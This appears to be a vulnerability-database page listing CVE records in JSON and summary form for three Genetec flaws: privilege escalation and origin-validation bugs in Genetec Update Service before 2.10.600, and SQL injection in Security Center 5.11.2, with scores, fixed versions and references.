"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Genetec Security Center",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "5.11.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "SQL Injection in the Hardware Inventory report of Security Center 5.11.2."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-89 SQL Injection",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-04-05T18:51:02.590Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://www.genetec.com/blog/data-protection/high-severity-vulnerability-affecting-the-hardware-inventory-report-task-of-security-center"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2023-1522",
"datePublished": "2023-04-05T18:51:02.590Z",
"dateReserved": "2023-03-20T16:24:06.438Z",
"dateUpdated": "2025-02-12T15:45:26.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-1789 (GCVE-0-2025-1789)
Vulnerability from cvelistv5 – Published: 2026-02-24 18:47 – Updated: 2026-02-26 14:44
VLAI
EPSS
VEX
Summary
Local privilege escalation in Genetec Update Service. An authenticated, low-privileged, Windows user could exploit this vulnerability to gain elevated privileges on the affected system.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-26 04:56 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Update Service |
Affected:
<2.10.600
(semver)
Unaffected: >=2.10.600 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-1789",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T04:56:04.010019Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T14:44:07.658Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Genetec Update Service",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "\u003c2.10.600",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "\u003e=2.10.600",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Rutger Flohil"
}
],
"descriptions": [
{
"lang": "en",
"value": "Local privilege escalation in Genetec Update Service. An authenticated, low-privileged, Windows user could exploit this vulnerability to gain elevated privileges on the affected system."
}
],
"impacts": [
{
"capecId": "CAPEC-233",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-233: Privilege Escalation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:H/IR:H/AR:H/MVC:H/MVI:H/MVA:H/MSI:H/MSA:H/S:P/AU:N/V:C",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T18:47:24.913Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://techdocs.genetec.com/r/en-US/Security-Updates-for-GenetecTM-Update-Service-2.10/Resolved-vulnerabilities-in-Genetec-Update-Service-2.10"
}
],
"solutions": [
{
"lang": "en",
"value": "This issue is fixed in Genetec Update Service 2.10.600 and all later versions. Internet connected Genetec Update Service will automatically update themselves."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2025-1789",
"datePublished": "2026-02-24T18:47:24.913Z",
"dateReserved": "2025-02-28T17:07:08.574Z",
"dateUpdated": "2026-02-26T14:44:07.658Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-1787 (GCVE-0-2025-1787)
Vulnerability from cvelistv5 – Published: 2026-02-24 18:44 – Updated: 2026-02-26 14:44
VLAI
EPSS
VEX
Summary
Local admin could to leak information from the Genetec Update Service configuration web page. An authenticated, admin privileged, Windows user could exploit this vulnerability to gain elevated privileges in the Genetec Update Service. Could be combined with CVE-2025-1789 to achieve low privilege escalation.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-26 04:56 UTC
CWE
- CWE-346 - Origin Validation Error
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Update Service |
Affected:
<2.10.600
(semver)
Unaffected: >=2.10.600 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-1787",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T04:56:05.875817Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T14:44:07.839Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Genetec Update Service",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "\u003c2.10.600",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "\u003e=2.10.600",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Rutger Flohil"
}
],
"descriptions": [
{
"lang": "en",
"value": "Local admin could to leak information from the Genetec Update Service configuration web page. An authenticated, admin privileged, Windows user could exploit this vulnerability to gain elevated privileges in the Genetec Update Service. Could be combined with CVE-2025-1789 to achieve low privilege escalation."
}
],
"impacts": [
{
"capecId": "CAPEC-200",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-200: Removal of filters: Input filters, output filters, data masking"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:H/IR:H/AR:H/MVC:H/MVI:H/MVA:H/MSI:H/MSA:H/S:P/AU:N/V:C",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-346",
"description": "CWE-346: Origin Validation Error",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T18:44:36.705Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://techdocs.genetec.com/r/en-US/Security-Updates-for-GenetecTM-Update-Service-2.10/Resolved-vulnerabilities-in-Genetec-Update-Service-2.10"
}
],
"solutions": [
{
"lang": "en",
"value": "This issue is fixed in Genetec Update Service 2.10.600 and all later versions. Internet connected Genetec Update Service will automatically update themselves."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2025-1787",
"datePublished": "2026-02-24T18:44:36.705Z",
"dateReserved": "2025-02-28T17:05:57.628Z",
"dateUpdated": "2026-02-26T14:44:07.839Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2023-1522 (GCVE-0-2023-1522)
Vulnerability from cvelistv5 – Published: 2023-04-05 18:51 – Updated: 2025-02-12 15:45
VLAI
EPSS
VEX
Summary
SQL Injection in the Hardware Inventory report of Security Center 5.11.2.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-02-12 15:41 UTC
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Genetec Inc. | Genetec Security Center |
Affected:
5.11.2
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-02T05:49:11.692Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://www.genetec.com/blog/data-protection/high-severity-vulnerability-affecting-the-hardware-inventory-report-task-of-security-center"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2023-1522",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-02-12T15:41:57.240276Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-02-12T15:45:26.199Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Genetec Security Center",
"vendor": "Genetec Inc.",
"versions": [
{
"status": "affected",
"version": "5.11.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "SQL Injection in the Hardware Inventory report of Security Center 5.11.2."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-89 SQL Injection",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-04-05T18:51:02.590Z",
"orgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"shortName": "Genetec"
},
"references": [
{
"url": "https://www.genetec.com/blog/data-protection/high-severity-vulnerability-affecting-the-hardware-inventory-report-task-of-security-center"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "f2b06212-cb4b-41a4-9501-fa2e367495b8",
"assignerShortName": "Genetec",
"cveId": "CVE-2023-1522",
"datePublished": "2023-04-05T18:51:02.590Z",
"dateReserved": "2023-03-20T16:24:06.438Z",
"dateUpdated": "2025-02-12T15:45:26.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}